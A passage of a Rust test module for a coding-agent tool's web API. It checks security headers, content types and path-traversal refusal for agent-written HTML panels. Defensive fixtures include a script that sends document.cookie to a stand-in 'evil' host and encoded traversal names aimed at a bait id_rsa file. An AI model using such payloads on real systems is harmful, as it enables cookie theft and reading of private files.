7945            .expect("a header block");
7946        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7947        let bytes = raw[split + 4..].to_vec();
7948        let status = head
7949            .lines()
7950            .next()
7951            .and_then(|line| line.split_whitespace().nth(1))
7952            .and_then(|code| code.parse().ok())
7953            .expect("a status line");
7954        Res {
7955            status,
7956            headers: head.to_lowercase(),
7957            head,
7958            body: String::from_utf8_lossy(&bytes).into_owned(),
7959            bytes,
7960        }
7961    }
7962
7963    /// A run on disk, without touching the process-global magi home.
7964    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7965        let mut state = RunState::new(
7966            PathBuf::from("/repo/magi"),
7967            "main".to_owned(),
7968            "0123456789abcdef".to_owned(),
7969            "Add a web UI\n\nMobile first.".to_owned(),
7970            Config::default(),
7971        );
7972        state.id = id.to_owned();
7973        state.status = status;
7974        let dir = runs.join(id);
7975        std::fs::create_dir_all(&dir).expect("run dir");
7976        std::fs::write(
7977            dir.join("run.json"),
7978            serde_json::to_string_pretty(&state).expect("serialize run"),
7979        )
7980        .expect("write run.json");
7981    }
7982
7983    /// Same as [`write_run`], but against a named repository rather than the
7984    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7985    /// spread across more than one.
7986    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7987        let mut state = RunState::new(
7988            PathBuf::from(repo),
7989            "main".to_owned(),
7990            "0123456789abcdef".to_owned(),
7991            "task".to_owned(),
7992            Config::default(),
7993        );
7994        state.id = id.to_owned();
7995        state.status = status;
7996        let dir = runs.join(id);
7997        std::fs::create_dir_all(&dir).expect("run dir");
7998        std::fs::write(
7999            dir.join("run.json"),
8000            serde_json::to_string_pretty(&state).expect("serialize run"),
8001        )
8002        .expect("write run.json");
8003    }
8004
8005    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8006        let body = serde_json::json!({
8007            "schema": 1,
8008            "pid": 4242,
8009            "started_at": Timestamp::now().to_string(),
8010            "updated_at": updated_at.to_string(),
8011            "idle": false,
8012            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8013            "completed": 7,
8014            "polls": 143,
8015        });
8016        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8017    }
8018
8019    /// A loop that starts, finds nothing to do, and waits to be told to stop.
8020    ///
8021    /// No test in this file may start the real loop - see [`Ui::launch`] for
8022    /// why - so this stands in for the only thing the routes need a loop to
8023    /// do: keep running until `Stop` is set, then return. A real
8024    /// `serve_until` here would resolve its queue and its status file through
8025    /// the process-global magi home, claim whatever it found in the
8026    /// operator's live backlog, overwrite the status file of the `magi serve`
8027    /// that owns it, and spend real agent quota on a real competition.
8028    fn launch_idle(
8029        _opts: daemon::Opts,
8030        stop: daemon::Stop,
8031    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8032        Box::pin(async move {
8033            while !stop.stopped() {
8034                tokio::time::sleep(Duration::from_millis(2)).await;
8035            }
8036            Ok(())
8037        })
8038    }
8039
8040    /// A loop that fails on the way up, the way one whose home has gone
8041    /// read-only does.
8042    fn launch_broken(
8043        _opts: daemon::Opts,
8044        _stop: daemon::Stop,
8045    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8046        // The stand-in dies instantly, so a restarted one can record its own
8047        // failure before the start's response is read. The second attempt
8048        // therefore fails with a different message, to tell a stale error
8049        // from a fresh one.
8050        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8051        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8052        Box::pin(async move {
8053            Err(anyhow::anyhow!(if first {
8054                "publish the daemon status file: read-only file system"
8055            } else {
8056                "the restarted stand-in failed as well"
8057            }))
8058        })
8059    }
8060
8061    /// The address the parking loop knocks on, and what it heard there.
8062    ///
8063    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
8064    /// capture a fixture's address; this is how it is handed one. Only
8065    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
8066    /// these, so nothing else in this binary can race them.
8067    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8068    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8069
8070    /// A loop that, once it is asked to stop, checks the deck still answers
8071    /// before it goes.
8072    ///
8073    /// It stands in for a run mid-node: `finish_loop` waits for this future,
8074    /// so the request it makes is strictly inside the park window - no sleep
8075    /// and no polling needed to be sure of that.
8076    fn launch_knocking_on_the_way_out(
8077        _opts: daemon::Opts,
8078        stop: daemon::Stop,
8079    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8080        Box::pin(async move {
8081            while !stop.stopped() {
8082                tokio::time::sleep(Duration::from_millis(2)).await;
8083            }
8084            let addr = PARK_KNOCK
8085                .lock()
8086                .expect("park knock")
8087                .expect("the test set an address");
8088            let heard = request(addr, "GET", "/api/health", None).await.status;
8089            *PARK_HEARD.lock().expect("park heard") = Some(heard);
8090            Ok(())
8091        })
8092    }
8093
8094    /// The loop view once `want` accepts it.
8095    ///
8096    /// Polled rather than asserted straight after the POST because stopping
8097    /// is deliberately not instant - that is the contract - and rather than
8098    /// slept through because a fixed wait is either flaky or slow.
8099    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
8100    /// finite, so a genuine hang fails the test instead of hanging the
8101    /// suite.
8102    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8103        for _ in 0..SETTLE_STEPS {
8104            let view = fx.get("/api/loop").await.json();
8105            if want(&view) {
8106                return view;
8107            }
8108            tokio::time::sleep(Duration::from_millis(10)).await;
8109        }
8110        panic!(
8111            "the loop never settled: {}",
8112            fx.get("/api/loop").await.json()
8113        );
8114    }
8115
8116    /// File an open question directly in the store the server reads.
8117    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8118        let store = fx.questions();
8119        let mut q = Question::new(
8120            "20260902-000000-beef".to_owned(),
8121            "implement".to_owned(),
8122            "impl-A".to_owned(),
8123            summary.to_owned(),
8124            "because it matters".to_owned(),
8125            choices.iter().map(|c| (*c).to_owned()).collect(),
8126        );
8127        store.put(&mut q).expect("put question");
8128        q.id
8129    }
8130
8131    /// A question with a panel the server can serve, plus the named assets.
8132    ///
8133    /// Written through `Questions::put_panel` rather than by laying out the
8134    /// directory here, so these tests exercise the same on-disk shape the
8135    /// agents produce and cannot pass against a layout only the tests know.
8136    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8137        let store = fx.questions();
8138        let mut q = Question::new(
8139            "20260902-000000-beef".to_owned(),
8140            "land".to_owned(),
8141            "fix".to_owned(),
8142            "Merge this?".to_owned(),
8143            "the diff is in the panel".to_owned(),
8144            vec!["merge".to_owned(), "hold".to_owned()],
8145        );
8146        // Staged outside the questions root, because `put_panel` copies from
8147        // wherever the agent left its files.
8148        let staging = fx.home.path().join("staging");
8149        std::fs::create_dir_all(&staging).expect("staging dir");
8150        let sources: Vec<PathBuf> = assets
8151            .iter()
8152            .map(|(name, bytes)| {
8153                let path = staging.join(name);
8154                std::fs::write(&path, bytes).expect("write staged asset");
8155                path
8156            })
8157            .collect();
8158        store
8159            .put_panel(&mut q, html, &sources)
8160            .expect("write the panel");
8161        store.put(&mut q).expect("put question");
8162        q.id
8163    }
8164
8165    /// A talk on disk, without talking to a model.
8166    ///
8167    /// Written as JSON straight into the store the server reads, because the
8168    /// only constructor `talk::begin` offers takes no turn but still requires
8169    /// a real caller-visible flow. The one thing this cannot make up is the
8170    /// seat, so it is built with the real `SeatState::new` and serialized -
8171    /// the alternative, hand-writing that object, would make these tests fail
8172    /// the day the seat gains a field.
8173    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8174        seed_talk_at(&fx.talks(), id, status)
8175    }
8176
8177    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8178        std::fs::create_dir_all(store.root()).expect("talks dir");
8179        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8180            .expect("serialize a seat");
8181        let body = serde_json::json!({
8182            "schema": 1,
8183            "id": id,
8184            "repo": "/repo/magi",
8185            "agent": "mock",
8186            "status": status,
8187            "turns": [],
8188            "created_at": Timestamp::now().to_string(),
8189            "updated_at": Timestamp::now().to_string(),
8190            "seat": seat,
8191        });
8192        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8193        store.get(id).expect("the seeded talk has to be readable");
8194        id.to_owned()
8195    }
8196
8197    #[tokio::test]
8198    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8199        let fx = Fixture::start().await;
8200        let id = panel(
8201            &fx,
8202            "<h1>Merge?</h1><img src=\"diff.svg\">",
8203            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8204        );
8205
8206        for path in [
8207            format!("/api/questions/{id}/panel"),
8208            format!("/api/questions/{id}/asset/diff.svg"),
8209        ] {
8210            let res = fx.get(&path).await;
8211            assert_eq!(res.status, 200, "{path}: {}", res.body);
8212            // The whole string, not a substring. A weakened directive - an
8213            // `img-src *` that lets a panel beacon out to a remote host, a
8214            // `script-src` anything, a missing `form-action` that lets it post
8215            // the owner's decision to a third party - has to fail here, and a
8216            // `contains` assertion would let every one of those through.
8217            assert_eq!(
8218                res.header("content-security-policy"),
8219                Some(
8220                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8221                     font-src data:; base-uri 'none'; form-action 'none'; \
8222                     frame-ancestors 'self'"
8223                ),
8224                "{path} is the only thing between a hostile panel and the tailnet"
8225            );
8226            assert_eq!(
8227                res.header("x-content-type-options"),
8228                Some("nosniff"),
8229                "{path}: a browser must not re-decide the type we sent"
8230            );
8231            assert_eq!(
8232                res.header("referrer-policy"),
8233                Some("no-referrer"),
8234                "{path}: a panel must not leak the question id off the machine"
8235            );
8236
8237            // The front end mounts the frame only after a `HEAD` says the
8238            // panel is there, so `HEAD` has to answer with the same status and
8239            // the same policy as `GET` - a preflight that came back without
8240            // the CSP would mean a frame mounted on an unverified promise.
8241            let pre = fx.head(&path).await;
8242            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8243            assert_eq!(
8244                pre.header("content-security-policy"),
8245                res.header("content-security-policy"),
8246                "{path}: the preflight carries the same policy"
8247            );
8248            assert_eq!(
8249                pre.header("content-type"),
8250                res.header("content-type"),
8251                "{path}: the preflight carries the same type"
8252            );
8253        }
8254    }
8255
8256    #[tokio::test]
8257    async fn a_panel_reaches_the_browser_byte_for_byte() {
8258        let fx = Fixture::start().await;
8259        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8260        // tag, an entity, and a multi-byte character. The sandbox is what makes
8261        // this safe, so nothing here may be rewritten on the way out - a
8262        // rewritten diff is a diff the owner cannot trust.
8263        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8264        let id = panel(&fx, html, &[]);
8265
8266        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8267
8268        assert_eq!(res.status, 200);
8269        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8270        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8271        assert_eq!(
8272            res.header("content-disposition"),
8273            None,
8274            "the panel itself is rendered in the frame, not downloaded"
8275        );
8276    }
8277
8278    #[tokio::test]
8279    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8280        let fx = Fixture::start().await;
8281        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8282        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8283        let id = panel(
8284            &fx,
8285            "<img src=\"diff.svg\"><img src=\"shot.png\">",
8286            &[("diff.svg", svg), ("shot.png", png)],
8287        );
8288
8289        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8290        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8291
8292        assert_eq!(as_svg.status, 200);
8293        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8294        // An SVG is XML that may carry script. Inside the panel it is an
8295        // `<img src>` and the script cannot run; opened at the top level it
8296        // would be a document on magi's own origin, so the browser is told to
8297        // download it instead of rendering it.
8298        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8299
8300        assert_eq!(as_png.status, 200);
8301        assert_eq!(as_png.header("content-type"), Some("image/png"));
8302        assert_eq!(
8303            as_png.header("content-disposition"),
8304            None,
8305            "a raster image has no execution surface, so tapping it still shows it"
8306        );
8307        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8308    }
8309
8310    #[tokio::test]
8311    async fn an_html_asset_is_never_served_as_html() {
8312        let fx = Fixture::start().await;
8313        let id = panel(
8314            &fx,
8315            "<p>see the notes</p>",
8316            &[
8317                (
8318                    "notes.html",
8319                    b"<script>fetch('http://evil/'+document.cookie)</script>",
8320                ),
8321                ("hook.js", b"fetch('http://evil/')"),
8322                ("data.json", b"{}"),
8323                ("HEADLINE.TXT", b"plain"),
8324            ],
8325        );
8326
8327        for name in ["notes.html", "hook.js", "data.json"] {
8328            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8329            assert_eq!(res.status, 200, "{name}: {}", res.body);
8330            // Serving this as text/html would be a way to reach agent markup
8331            // at the top level of the operator's browser, outside the frame's
8332            // sandbox and outside its CSP - which is the whole thing the panel
8333            // design exists to prevent. Unlisted types are downloads.
8334            assert_eq!(
8335                res.header("content-type"),
8336                Some("application/octet-stream"),
8337                "{name} must not be a type the browser will execute or render"
8338            );
8339        }
8340        // The whitelist is matched case-insensitively, so an agent shouting the
8341        // extension still gets a readable file rather than a download.
8342        let txt = fx
8343            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8344            .await;
8345        assert_eq!(
8346            txt.header("content-type"),
8347            Some("text/plain; charset=utf-8")
8348        );
8349    }
8350
8351    #[tokio::test]
8352    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8353        let fx = Fixture::start().await;
8354        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8355        // Something outside the panel directory that a traversal would reach if
8356        // one got through, so a passing test is not merely "the file was
8357        // missing anyway".
8358        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8359
8360        // Decoded before this server's handler sees them: axum percent-decodes
8361        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
8362        // string with a NUL in it. All three look like ordinary single-segment
8363        // filenames to the router, so the router passes them through and
8364        // `valid_asset_name` is what refuses them - for the literal `..`, and
8365        // for `/`, `\` and NUL not being in the permitted character set.
8366        for encoded in [
8367            "%2e%2e%2fid_rsa",
8368            "..%2fid_rsa",
8369            "..%5cid_rsa",
8370            "%2e%2e%5cid_rsa",
8371            "diff%00.svg",
8372            "..",
8373            ".hidden",
8374            "%2e%2e%2f%2e%2e%2fid_rsa",
8375        ] {
8376            let res = fx
8377                .get(&format!("/api/questions/{id}/asset/{encoded}"))
8378                .await;
8379            assert_eq!(
8380                res.status, 400,
8381                "`{encoded}` has to be refused by name, not looked up: {}",
8382                res.body
8383            );
8384            assert!(res.json()["error"].is_string(), "{}", res.body);
8385        }
8386
8387        // Not decoded, and never this handler's problem: a real slash makes the
8388        // request one segment too long for `/api/questions/{id}/asset/{name}`,
8389        // so axum's router has no route to match and answers before any code
8390        // here runs. Asserted so that a future route with a wildcard segment
8391        // cannot quietly open this door.
8392        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8393            let res = fx
8394                .get(&format!("/api/questions/{id}/asset/{literal}"))
8395                .await;
8396            assert_eq!(
8397                res.status, 404,
8398                "`{literal}` must not match the asset route at all: {}",
8399                res.body
8400            );
8401        }
8402    }
8403
8404    #[tokio::test]
8405    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8406        let fx = Fixture::start().await;
8407        let plain = ask(&fx, "Which backend?", &["SQLite"]);
8408        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8409
8410        // A question nobody wrote a panel for. The client preflights with HEAD
8411        // and cannot see inside a sandboxed frame, so this must be a status and
8412        // not an empty page.
8413        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8414        assert_eq!(none.status, 404, "{}", none.body);
8415        assert!(none.json()["error"].is_string(), "{}", none.body);
8416        assert_eq!(
8417            fx.head(&format!("/api/questions/{plain}/panel"))
8418                .await
8419                .status,
8420            404,
8421            "the preflight is the only way the client can learn this"
8422        );
8423
8424        // A name that is perfectly legal and simply is not there.
8425        let missing = fx
8426            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8427            .await;
8428        assert_eq!(missing.status, 404, "{}", missing.body);
8429        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8430
8431        // A question that does not exist at all, on both routes.
8432        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8433        assert_eq!(
8434            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8435            404
8436        );
8437    }
8438
8439    #[tokio::test]
8440    async fn a_run_with_an_open_question_reads_as_waiting() {
8441        let fx = Fixture::start().await;
8442        let run = "20260902-000000-beef".to_owned();
8443        write_run(&fx.runs(), &run, RunStatus::Implementing);
8444
8445        let before = fx.get("/api/runs").await.json();
8446        assert_eq!(before[0]["waiting"], false, "{before}");
8447
8448        let store = fx.questions();
8449        let mut q = Question::new(
8450            run.clone(),
8451            "implement".to_owned(),
8452            "impl-A".to_owned(),
8453            "Which backend?".to_owned(),
8454            String::new(),
8455            vec!["SQLite".to_owned()],
8456        );
8457        store.put(&mut q).expect("put");
8458
8459        let during = fx.get("/api/runs").await.json();
8460        assert_eq!(during[0]["waiting"], true, "{during}");
8461
8462        // Answered: the run is moving again, and the flag has to follow without
8463        // anything having rewritten run.json.
8464        q.answer(Answer::Choice("SQLite".to_owned()))
8465            .expect("answer");
8466        store.put(&mut q).expect("put");
8467        let after = fx.get("/api/runs").await.json();
8468        assert_eq!(after[0]["waiting"], false, "{after}");
8469    }
8470
8471    #[tokio::test]
8472    async fn an_open_question_is_listed_and_counted_by_health() {
8473        let fx = Fixture::start().await;
8474        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8475
8476        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8477        let listed = fx.get("/api/questions").await.json();
8478        assert_eq!(listed.as_array().expect("array").len(), 1);
8479        assert_eq!(listed[0]["id"], id);
8480        assert_eq!(listed[0]["status"], "open");
8481        assert_eq!(listed[0]["choices"][1], "Redis");
8482        // The count is what makes the phone's indicator honest: it is the one
8483        // number meaning nothing will move until a human acts.
8484        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8485    }
8486
8487    #[tokio::test]
8488    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8489        let fx = Fixture::start().await;
8490        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8491        let path = format!("/api/questions/{id}/answer");
8492
8493        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8494        assert_eq!(res.status, 200, "{}", res.body);
8495        let body = res.json();
8496        assert_eq!(body["status"], "answered");
8497        assert_eq!(body["answer"]["choice"], "Redis");
8498
8499        // Answered from the terminal in between the list and the tap: the UI
8500        // must be able to tell this from a bad request, so it can show the
8501        // recorded answer instead of an error.
8502        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8503        assert_eq!(again.status, 409, "{}", again.body);
8504        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8505    }
8506
8507    #[tokio::test]
8508    async fn saying_something_appends_a_turn_without_answering() {
8509        let fx = Fixture::start().await;
8510        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8511        let path = format!("/api/questions/{id}/say");
8512
8513        let res = fx
8514            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8515            .await;
8516        assert_eq!(res.status, 200, "{}", res.body);
8517        let body = res.json();
8518        assert_eq!(body["status"], "open", "talking back is not a decision");
8519        assert_eq!(body["answer"], Value::Null);
8520        assert_eq!(body["thread"][0]["who"], "operator");
8521        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8522        assert_eq!(body["waiting_on_agent"], true);
8523        // Still open, still counted, still exactly one question.
8524        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8525    }
8526
8527    #[tokio::test]
8528    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8529        let fx = Fixture::start().await;
8530        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8531
8532        let list = fx.get("/api/questions").await.json();
8533        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8534
8535        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8536        assert_eq!(res.status, 409, "{}", res.body);
8537        let q = fx.questions().get(&id).unwrap();
8538        assert!(q.status.open());
8539        assert!(q.consult.is_none());
8540    }
8541
8542    #[tokio::test]
8543    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8544        let fx = Fixture::start().await;
8545        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8546        let cfg = Config {
8547            agents: vec![crate::config::AgentSpec {
8548                id: "mock".to_owned(),
8549                kind: crate::config::AgentKind::Command,
8550                model: None,
8551                command: vec!["true".to_owned()],
8552                extra_args: Vec::new(),
8553                env: Default::default(),
8554                prompt_delivery: None,
8555            }],
8556            ..Config::default()
8557        };
8558        let talk = crate::talk::begin(
8559            &fx.talks(),
8560            &cfg,
8561            fx.home.path().to_path_buf(),
8562            Some("mock"),
8563        )
8564        .unwrap();
8565        let mut task = Task::new(
8566            "t".to_owned(),
8567            "Do it".to_owned(),
8568            PathBuf::from("/repo/magi"),
8569            Source::Agent {
8570                run: talk.id.clone(),
8571                node: crate::queue::CHAT_NODE.to_owned(),
8572            },
8573        );
8574        task.start("20260902-000000-beef".to_owned());
8575        fx.queue().put(&mut task).unwrap();
8576
8577        let list = fx.get("/api/questions").await.json();
8578        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8579        assert_eq!(
8580            list[0]["choices"],
8581            serde_json::json!(["SQLite", "Redis"]),
8582            "the hand-over is never a choice"
8583        );
8584        fx.questions()
8585            .update(&id, |q| {
8586                q.node = crate::land::APPROVAL_NODE.into();
8587                q.choices = vec!["merge".into(), "hold".into()];
8588                Ok(())
8589            })
8590            .unwrap();
8591        let list = fx.get("/api/questions").await.json();
8592        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8593        let _ = id;
8594    }
8595
8596    #[tokio::test]
8597    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8598        let fx = Fixture::start().await;
8599        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8600        fx.questions()
8601            .update(&id, |q| {
8602                q.node = crate::land::APPROVAL_NODE.into();
8603                q.choices = vec!["merge".into(), "hold".into()];
8604                Ok(())
8605            })
8606            .unwrap();
8607        let cfg = Config {
8608            agents: vec![crate::config::AgentSpec {
8609                id: "mock".to_owned(),
8610                kind: crate::config::AgentKind::Command,
8611                model: None,
8612                command: vec!["true".to_owned()],
8613                extra_args: Vec::new(),
8614                env: Default::default(),
8615                prompt_delivery: None,
8616            }],
8617            ..Config::default()
8618        };
8619        // Not a git working tree, so its `magi.toml` is read from disk.
8620        let repo = fx.home.path().join("chat-repo");
8621        std::fs::create_dir_all(&repo).unwrap();
8622        let toml = repo.join("magi.toml");
8623        std::fs::write(&toml, "this is = = not toml").unwrap();
8624        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8625        let mut task = Task::new(
8626            "t".to_owned(),
8627            "Do it".to_owned(),
8628            PathBuf::from("/repo/magi"),
8629            Source::Agent {
8630                run: talk.id.clone(),
8631                node: crate::queue::CHAT_NODE.to_owned(),
8632            },
8633        );
8634        task.start("20260902-000000-beef".to_owned());
8635        fx.queue().put(&mut task).unwrap();
8636
8637        let path = format!("/api/questions/{id}/consult");
8638        let res = fx.post(&path, None).await;
8639        assert!(res.status >= 400, "{}", res.body);
8640        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8641        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8642
8643        std::fs::write(&toml, "").unwrap();
8644        let res = fx.post(&path, None).await;
8645        assert_eq!(res.status, 202, "{}", res.body);
8646        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8647        let q = fx.questions().get(&id).unwrap();
8648        assert!(q.status.open());
8649        assert!(q.answer.is_none());
8650        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8651    }
8652
8653    #[tokio::test]
8654    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8655        let fx = Fixture::start().await;
8656        let store = fx.questions();
8657        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8658        assert_eq!(
8659            fx.get("/api/health").await.json()["questions_needs_owner"],
8660            1
8661        );
8662
8663        // The owner asks back instead of deciding: the ask bar, the nav badge
8664        // and the title must stop naming this question, because there is
8665        // nothing to decide until the agent answers - `status` alone cannot
8666        // say that, which is the whole reason `questions_needs_owner` exists
8667        // alongside `questions_open`.
8668        let res = fx
8669            .post(
8670                &format!("/api/questions/{id}/say"),
8671                Some(r#"{"body":"why not Postgres?"}"#),
8672            )
8673            .await;
8674        assert_eq!(res.status, 200, "{}", res.body);
8675        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8676        assert_eq!(
8677            fx.get("/api/health").await.json()["questions_needs_owner"],
8678            0,
8679            "waiting on the agent is not waiting on the owner"
8680        );
8681
8682        // `magi ask --thread` replying is what brings the owner count back -
8683        // the same event that would resume the CLI call blocked in `magi
8684        // ask`.
8685        let mut q = store.get(&id).expect("get");
8686        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8687            .expect("reply");
8688        store.put(&mut q).expect("put");
8689        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8690        assert_eq!(
8691            fx.get("/api/health").await.json()["questions_needs_owner"],
8692            1,
8693            "the agent's reply is what should light the banner back up"
8694        );
8695    }
8696
8697    #[tokio::test]
8698    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8699        let fx = Fixture::start().await;
8700        let store = fx.questions();
8701
8702        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8703        let res = fx
8704            .post(
8705                &format!("/api/questions/{empty_id}/say"),
8706                Some(r#"{"body":"   "}"#),
8707            )
8708            .await;
8709        assert_eq!(res.status, 400, "{}", res.body);
8710
8711        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8712        let mut answered = store.get(&answered_id).expect("get");
8713        answered
8714            .answer(Answer::Choice("SQLite".to_owned()))
8715            .expect("answer");
8716        store.put(&mut answered).expect("put");
8717        let res = fx
8718            .post(
8719                &format!("/api/questions/{answered_id}/say"),
8720                Some(r#"{"body":"still there?"}"#),
8721            )
8722            .await;
8723        assert_eq!(res.status, 409, "{}", res.body);
8724
8725        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8726        let mut abandoned = store.get(&abandoned_id).expect("get");
8727        abandoned.abandon("timed out");
8728        store.put(&mut abandoned).expect("put");
8729        let res = fx
8730            .post(
8731                &format!("/api/questions/{abandoned_id}/say"),
8732                Some(r#"{"body":"still there?"}"#),
8733            )
8734            .await;
8735        assert_eq!(res.status, 409, "{}", res.body);
8736    }
8737
8738    #[tokio::test]
8739    async fn an_answer_the_question_does_not_offer_is_refused() {
8740        let fx = Fixture::start().await;
8741        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8742        let path = format!("/api/questions/{id}/answer");
8743
8744        for body in [
8745            r#"{"choice":"Postgres"}"#,
8746            r#"{"text":"whatever you think"}"#,
8747            r#"{"choice":"Redis","text":"both"}"#,
8748            r#"{}"#,
8749        ] {
8750            let res = fx.post(&path, Some(body)).await;
8751            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8752            assert!(res.json()["error"].is_string(), "{}", res.body);
8753        }
8754        // Nothing above may have answered it.
8755        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8756    }
8757
8758    #[tokio::test]
8759    async fn a_free_text_question_takes_text_and_not_a_choice() {
8760        let fx = Fixture::start().await;
8761        let id = ask(&fx, "What should the flag be called?", &[]);
8762        let path = format!("/api/questions/{id}/answer");
8763
8764        assert_eq!(
8765            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8766            400
8767        );
8768        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8769        assert_eq!(res.status, 200, "{}", res.body);
8770        assert_eq!(res.json()["answer"]["text"], "--json");
8771    }
8772
8773    #[tokio::test]
8774    async fn an_unknown_question_is_a_json_404() {
8775        let fx = Fixture::start().await;
8776        let res = fx
8777            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8778            .await;
8779        assert_eq!(res.status, 404, "{}", res.body);
8780        assert!(res.json()["error"].is_string());
8781    }
8782
8783    #[tokio::test]
8784    async fn notifications_list_read_dismiss_and_health_agree() {
8785        let fx = Fixture::start().await;
8786        let store = Notices::at(fx.home.path().join("notifications"));
8787        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8788        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8789
8790        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8791        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8792
8793        let health = fx.get("/api/health").await.json();
8794        assert_eq!(health["notifications_unread"], 2);
8795        assert_ne!(
8796            health["notifications_rev"], rev0,
8797            "the badge must move live"
8798        );
8799
8800        let listed = fx.get("/api/notifications").await.json();
